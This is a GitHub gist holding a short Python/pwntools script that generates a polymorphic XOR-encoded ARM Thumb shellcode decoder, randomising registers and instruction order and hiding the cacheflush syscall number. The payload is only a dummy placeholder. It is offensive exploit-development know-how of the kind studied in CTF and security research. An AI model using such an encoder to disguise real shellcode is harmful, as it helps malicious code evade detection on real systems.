Skip to content

Instantly share code, notes, and snippets.

@kokjo
Created August 28, 2014 16:15
Show Gist options
  • Save kokjo/001bcca0a71ed2d9317d to your computer and use it in GitHub Desktop.
Save kokjo/001bcca0a71ed2d9317d to your computer and use it in GitHub Desktop.
Simple shellcode encoder for arm.
from pwn import *
from random import sample, choice
key = random.randint(0, 2**32)
free_regs = ["r%d" % i for i in range(8)]
key_reg, len_reg, addr_reg, data_reg = sample(free_regs, 4)
if key_reg == "r7": data_reg, key_reg = key_reg, data_reg
reg_dict = {
"key": key_reg,
"len": len_reg,
"addr": addr_reg,
"data": data_reg,
"real_key": key,
"real_length": 4
}
inst_dict = {
"adr_addr" : "adr %(addr)s, encoded_body",
"ldr_key" : "ldr %(key)s, key",
"mov_len" : "movs %(len)s, %(real_length)d",
"loop_label" : "loop:",
"ldr_data" : " ldr %(data)s, [%(addr)s]",
"eor_key" : " eors %(data)s, %(key)s",
"str_data" : " str %(data)s, [%(addr)s]",
"inc_addr" : " adds %(addr)s, #4",
"dec_len" : " subs %(len)s, #1",
"bne_loop" : " bne loop",
"flush_label" : "flush_cache:",
"ldr_r7" : "ldr r7, syscall_cacheflush",
"eor_r7" : "eors r7, %(key)s",
"adr_r0" : "adr r0, encoded_body",
"mov_r1" : "movs r1, (4*%(real_length)d)",
"mov_r2" : "eors r2, r2",
"swi_1" : "swi 1",
"body_label" : "encoded_body:",
"consts" : """b after_consts
key: .word %(real_key)d
syscall_cacheflush: .word (0xf0002 ^ %(real_key)d)
after_consts:"""
}
deps_dict = {
"loop_label":set(["adr_addr","ldr_key", "mov_len"]),
"ldr_data":set(["loop_label"]),
"eor_key":set(["ldr_data"]),
"str_data":set(["eor_key"]),
"inc_addr":set(["str_data"]),
"dec_len":set(["inc_addr"]),
"bne_loop":set(["inc_addr", "dec_len"]),
"flush_label":set(["bne_loop"]),
"ldr_r7":set(["flush_label"]),
"eor_r7":set(["ldr_r7"]),
"adr_r0":set(["flush_label"]),
"mov_r1":set(["flush_label"]),
"mov_r2":set(["flush_label"]),
"swi_1":set(["ldr_r7", "eor_r7", "mov_r1", "adr_r0", "mov_r2"]),
"body_label":set(["swi_1", "consts"]),
}
odds_dict = {
"consts": 1,
"dec_len": 1
}
done_insts = set([])
all_insts = set(inst_dict.keys())
possible_insts = all_insts - set(deps_dict.keys())
code = []
while done_insts != all_insts:
choices = []
map(choices.extend, [[c]*odds_dict.get(c, 5) for c in possible_insts])
inst = choice(choices)
code.append(inst_dict[inst])
possible_insts.remove(inst)
done_insts.add(inst)
possible_insts |= set(pos_inst
for pos_inst in deps_dict.keys()
if deps_dict[pos_inst].issubset(done_insts))
possible_insts -= set(done_insts)
asm_code = "\n".join([".thumb"]+code) % reg_dict
print "--- assembly ---"
print asm_code
binary = asm(asm_code, arch="arm")
print "--- assembled ---"
print binary.encode("hex")
open("shellcode", "w").write(binary+4*p32(0x41414141^key))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment